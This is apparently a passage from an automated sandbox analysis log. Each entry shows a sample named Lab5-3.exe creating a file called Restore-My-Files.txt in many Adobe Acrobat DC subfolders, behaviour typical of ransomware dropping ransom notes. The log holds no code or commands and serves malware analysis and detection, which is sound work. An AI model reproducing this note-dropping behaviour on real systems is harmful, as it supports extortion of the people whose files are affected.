Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ar-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\he-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-sl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
